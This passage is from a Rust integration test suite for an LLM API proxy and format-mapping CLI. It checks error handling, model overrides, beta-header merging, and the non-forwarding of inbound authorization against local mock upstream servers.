profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = br#"{"model":"gpt-4o","messages":[{"role":"user","content":"ping"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(3)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write headers");
client.write_all(body).expect("write body");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let mut err_handle = child.stderr.take().expect("stderr");
let _ = child.kill();
let _ = child.wait();
let mut err = String::new();
err_handle.read_to_string(&mut err).expect("read stderr");
assert!(
resp.contains("502") || resp.to_ascii_lowercase().contains("upstream"),
"{resp}"
);
assert!(
err.contains("POST /v1/chat/completions") && err.contains("upstream=error"),
"{err}"
);
}
#[test]
fn proxy_logs_missing_model_before_upstream() {
let dir = unique_scratch();
let profile = write_profile(
&dir,
"no-model.toml",
r#"
schema_version = 1
id = "no-model"
wire = "converse"
auth_scheme = "none"
base_url = "http://127.0.0.1:1"
chat_path = "/model/{model}/converse"
"#,
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = br#"{"messages":[{"role":"user","content":"ping"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(3)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write headers");
client.write_all(body).expect("write body");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let mut err_handle = child.stderr.take().expect("stderr");
let _ = child.kill();
let _ = child.wait();
let mut err = String::new();
err_handle.read_to_string(&mut err).expect("read stderr");
assert!(resp.contains("400"), "{resp}");
assert!(resp.contains("{model}"), "{resp}");
assert!(
err.contains("upstream=error") && err.contains("{model}"),
"{err}"
);
}
#[test]
fn proxy_logs_an_oversized_upstream_body() {
let listener = TcpListener::bind("127.0.0.1:0").expect("bind");
let addr = listener.local_addr().expect("addr");
std::thread::spawn(move || {
let Ok((mut sock, _)) = listener.accept() else {
return;
};
let _ = sock.set_read_timeout(Some(Duration::from_secs(2)));
let mut buf = [0_u8; 2048];
let _ = sock.read(&mut buf);
let header = b"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: 20000000\r\nConnection: close\r\n\r\n";
let _ = sock.write_all(header);
let _ = sock.write_all(b"{}");
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"huge.toml",
&format!(
r#"
schema_version = 1
id = "huge"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = br#"{"model":"gpt-4o","messages":[{"role":"user","content":"ping"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(3)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write headers");
client.write_all(body).expect("write body");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let mut err_handle = child.stderr.take().expect("stderr");
let _ = child.kill();
let _ = child.wait();
let mut err = String::new();
err_handle.read_to_string(&mut err).expect("read stderr");
assert!(resp.contains("502"), "{resp}");
assert!(resp.contains("upstream body too large"), "{resp}");
assert!(
err.contains("upstream=error") && err.contains("upstream body too large"),
"{err}"
);
}
#[test]
fn proxy_stream_reset_sends_a_json_error_event() {
let listener = TcpListener::bind("127.0.0.1:0").expect("bind");
let addr = listener.local_addr().expect("addr");
std::thread::spawn(move || {
let Ok((mut sock, _)) = listener.accept() else {
return;
};
let _ = sock.set_read_timeout(Some(Duration::from_secs(2)));
let mut buf = [0_u8; 4096];
let _ = sock.read(&mut buf);
let payload = b"data: {\"choices\":[{\"delta\":{\"content\":\"hi\"}}]}\n\n";
let header = format!(
"HTTP/1.1 200 OK\r\nContent-Type: text/event-stream\r\nContent-Length: {}\r\nConnection: close\r\n\r\n",
payload.len() + 64
);
let _ = sock.write_all(header.as_bytes());
let _ = sock.write_all(payload);
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"stream-reset.toml",
&format!(
r#"
schema_version = 1
id = "stream-reset"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = br#"{"model":"gpt-4o","stream":true,"messages":[{"role":"user","content":"ping"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(3)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write headers");
client.write_all(body).expect("write body");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let mut err_handle = child.stderr.take().expect("stderr");
let _ = child.kill();
let _ = child.wait();
let mut err = String::new();
err_handle.read_to_string(&mut err).expect("read stderr");
assert!(
resp.contains("server_error"),
"a stream reset must be a JSON error event, got: {resp}"
);
assert!(
resp.contains("upstream stream"),
"the error event must name the stream failure, got: {resp}"
);
assert!(
err.contains("upstream=error") && err.contains("upstream stream"),
"{err}"
);
}
#[test]
fn proxy_same_wire_html_event_stream_is_an_error() {
let listener = TcpListener::bind("127.0.0.1:0").expect("bind");
let addr = listener.local_addr().expect("addr");
std::thread::spawn(move || {
let Ok((mut sock, _)) = listener.accept() else {
return;
};
let _ = sock.set_read_timeout(Some(Duration::from_secs(2)));
let mut buf = [0_u8; 4096];
let _ = sock.read(&mut buf);
let payload = b"<html>login</html>";
let header = format!(
"HTTP/1.1 200 OK\r\nContent-Type: text/event-stream\r\nContent-Length: {}\r\nConnection: close\r\n\r\n",
payload.len()
);
let _ = sock.write_all(header.as_bytes());
let _ = sock.write_all(payload);
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"same-wire-html.toml",
&format!(
r#"
schema_version = 1
id = "same-wire-html"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = br#"{"model":"gpt-4o","stream":true,"messages":[{"role":"user","content":"ping"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(3)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write headers");
client.write_all(body).expect("write body");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let mut err_handle = child.stderr.take().expect("stderr");
let _ = child.kill();
let _ = child.wait();
let mut err = String::new();
err_handle.read_to_string(&mut err).expect("read stderr");
assert!(
resp.contains("upstream stream ended before a terminal event"),
"html labeled as an event stream must be an error event, got: {resp}\nlog: {err}"
);
assert!(
!resp.contains("<html>"),
"the html body must not be forwarded, got: {resp}"
);
}
#[test]
fn proxy_eventstream_reset_sends_an_exception_frame() {
let listener = TcpListener::bind("127.0.0.1:0").expect("bind");
let addr = listener.local_addr().expect("addr");
std::thread::spawn(move || {
let Ok((mut sock, _)) = listener.accept() else {
return;
};
let _ = sock.set_read_timeout(Some(Duration::from_secs(2)));
let mut buf = [0_u8; 4096];
let _ = sock.read(&mut buf);
let payload = b"not-a-full-frame";
let header = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/vnd.amazon.eventstream\r\nContent-Length: {}\r\nConnection: close\r\n\r\n",
payload.len() + 64
);
let _ = sock.write_all(header.as_bytes());
let _ = sock.write_all(payload);
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"eventstream-reset.toml",
&format!(
r#"
schema_version = 1
id = "eventstream-reset"
wire = "converse"
auth_scheme = "none"
base_url = "http://{addr}"
chat_path = "/model/{{model}}/converse"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"converse",
"--model",
"amazon.nova-lite-v1:0",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = br#"{"messages":[{"role":"user","content":[{"text":"ping"}]}]}"#;
let req = format!(
"POST /model/amazon.nova-lite-v1:0/converse HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(3)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write headers");
client.write_all(body).expect("write body");
let mut resp = Vec::new();
let _ = client.read_to_end(&mut resp);
let mut err_handle = child.stderr.take().expect("stderr");
let _ = child.kill();
let _ = child.wait();
let mut err = String::new();
err_handle.read_to_string(&mut err).expect("read stderr");
let text = String::from_utf8_lossy(&resp);
assert!(
text.contains("internalServerException"),
"a dropped Event Stream must end with an exception frame, got: {text}\nlog: {err}"
);
assert!(
err.contains("upstream=error") && err.contains("upstream stream"),
"{err}"
);
}
#[test]
fn map_converse_names_the_model_url_and_skips_an_absent_inference_config() {
let out = run_map(
&["map", "--from", "chat", "--to", "converse"],
Some(br#"{"model":"amazon.nova-lite-v1:0","messages":[{"role":"user","content":"ping"}]}"#),
);
assert_eq!(out.status.code(), Some(0), "{out:?}");
let stdout = String::from_utf8(out.stdout).expect("utf8");
assert!(stdout.contains("ping"), "{stdout}");
assert!(
!stdout.contains("amazon.nova-lite-v1:0"),
"modelId must stay off the Converse JSON body, got {stdout}"
);
let err = String::from_utf8_lossy(&out.stderr);
assert!(
err.contains("drop model: modelId is the /model/{modelId}/converse URL, not a JSON field"),
"{err}"
);
let same = run_map(
&["map", "--from", "converse", "--to", "converse"],
Some(
br#"{"modelId":"amazon.nova-lite-v1:0","messages":[{"role":"user","content":[{"text":"ping"}]}]}"#,
),
);
assert_eq!(same.status.code(), Some(0), "{same:?}");
let same_out = String::from_utf8(same.stdout).expect("utf8");
assert!(!same_out.contains("amazon.nova-lite-v1:0"), "{same_out}");
let same_err = String::from_utf8_lossy(&same.stderr);
assert!(same_err.contains("drop model:"), "{same_err}");
assert!(
!same_err.contains("inferenceConfig"),
"omitted inferenceConfig is not a drop, got {same_err}"
);
}
fn accept_upstream() -> (TcpListener, std::net::SocketAddr) {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let addr = upstream.local_addr().expect("addr");
upstream.set_nonblocking(true).expect("nonblocking");
(upstream, addr)
}
fn take_upstream(upstream: TcpListener) -> TcpStream {
let deadline = Instant::now() + Duration::from_secs(5);
loop {
match upstream.accept() {
Ok((stream, _)) => return stream,
Err(err) if err.kind() == std::io::ErrorKind::WouldBlock => {
if Instant::now() >= deadline {
panic!("upstream got no request");
}
std::thread::sleep(Duration::from_millis(20));
}
Err(err) => panic!("upstream accept: {err}"),
}
}
}
fn read_http_request(mut stream: TcpStream) -> String {
stream
.set_read_timeout(Some(Duration::from_secs(2)))
.expect("timeout");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
String::from_utf8_lossy(&buf[..n]).into_owned()
}
fn reply_json(mut stream: TcpStream, status: &str, body: &str) {
let resp = format!(
"HTTP/1.1 {status}\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
}
#[test]
fn proxy_model_overwrites_messages_body() {
let (upstream, upstream_addr) = accept_upstream();
let dir = unique_scratch();
let profile = write_profile(
&dir,
"ollama.toml",
&format!(
r#"
schema_version = 1
id = "ollama-proxy"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"messages",
"--model",
"llama3.2",
"--dump-loss",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"claude-sonnet-4-5","max_tokens":32,"messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/messages HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let upstream_thread = std::thread::spawn(move || {
let stream = take_upstream(upstream);
let req = read_http_request(stream.try_clone().expect("clone"));
reply_json(
stream,
"200 OK",
r#"{"id":"chatcmpl-proxy","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"pong"},"finish_reason":"stop"}]}"#,
);
req
});
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
let mut err = String::new();
let _ = child
.stderr
.take()
.expect("stderr")
.read_to_string(&mut err);
let upstream_req = upstream_thread.join().expect("upstream");
assert!(
upstream_req.contains("\"model\":\"llama3.2\"")
|| upstream_req.contains("\"model\": \"llama3.2\""),
"upstream model must be the override, got: {upstream_req}"
);
assert!(
!upstream_req.contains("claude-sonnet-4-5"),
"harness model must not reach upstream, got: {upstream_req}"
);
assert!(
err.contains("proxy --model"),
"dump-loss must name the overwrite, got: {err}"
);
}
#[test]
fn proxy_forwards_anthropic_beta_on_messages() {
let (upstream, upstream_addr) = accept_upstream();
let dir = unique_scratch();
let profile = write_profile(
&dir,
"messages.toml",
&format!(
r#"
schema_version = 1
id = "beta-proxy"
wire = "messages"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/messages"
[betas]
values = ["messages-2023-12-15"]
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"messages",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"claude-sonnet-4-5","max_tokens":32,"messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/messages HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nanthropic-beta: interleaved-thinking-2025-05-14\r\nauthorization: Bearer inbound-must-not-forward\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let upstream_thread = std::thread::spawn(move || {
let stream = take_upstream(upstream);
let req = read_http_request(stream.try_clone().expect("clone"));
reply_json(
stream,
"200 OK",
r#"{"id":"msg_proxy","type":"message","role":"assistant","content":[{"type":"text","text":"pong"}],"stop_reason":"end_turn"}"#,
);
req
});
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
let upstream_req = upstream_thread.join().expect("upstream");
let lower = upstream_req.to_ascii_lowercase();
assert_eq!(
lower.matches("anthropic-beta:").count(),
1,
"one beta header, got: {upstream_req}"
);
assert!(
lower.contains("messages-2023-12-15") && lower.contains("interleaved-thinking-2025-05-14"),
"profile beta then inbound beta, got: {upstream_req}"
);
assert!(
!lower.contains("inbound-must-not-forward"),
"inbound authorization must not be forwarded, got: {upstream_req}"
);
}
#[test]
fn proxy_get_v1_models_returns_one_entry() {
let dir = unique_scratch();
let profile = write_profile(
&dir,
"models.toml",
r#"
schema_version = 1
id = "models-proxy"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://127.0.0.1:1"
chat_path = "/v1/chat/completions"
"#,
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--model",
"llama3.2",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let listed = raw_http(
listen,
"GET /v1/models HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n",
);
let missing = raw_http(
listen,
"GET /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n",
);
kill_proxy(child);
let (_home, mut cmd) = isolated_home();
let mut plain = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let plain_listen = read_listen_addr(plain.stdout.as_mut().expect("stdout"));
let profile_list = raw_http(
plain_listen,
"GET /v1/models HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n",
);
kill_proxy(plain);
assert!(
listed.contains("200")
&& (listed.contains("\"id\":\"llama3.2\"") || listed.contains("\"id\": \"llama3.2\"")),
"override id, got: {listed}"
);
assert!(
listed.contains("\"object\":\"list\"") || listed.contains("\"object\": \"list\""),
"{listed}"
);
assert!(
listed.contains("\"owned_by\":\"wiremux\"") || listed.contains("\"owned_by\": \"wiremux\""),
"{listed}"
);
assert!(
missing.contains("405") && missing.contains("POST required"),
"other GET stays 405, got: {missing}"
);
assert!(
profile_list.contains("\"id\":\"models-proxy\"")
|| profile_list.contains("\"id\": \"models-proxy\""),
"profile id when --model is unset, got: {profile_list}"
);
}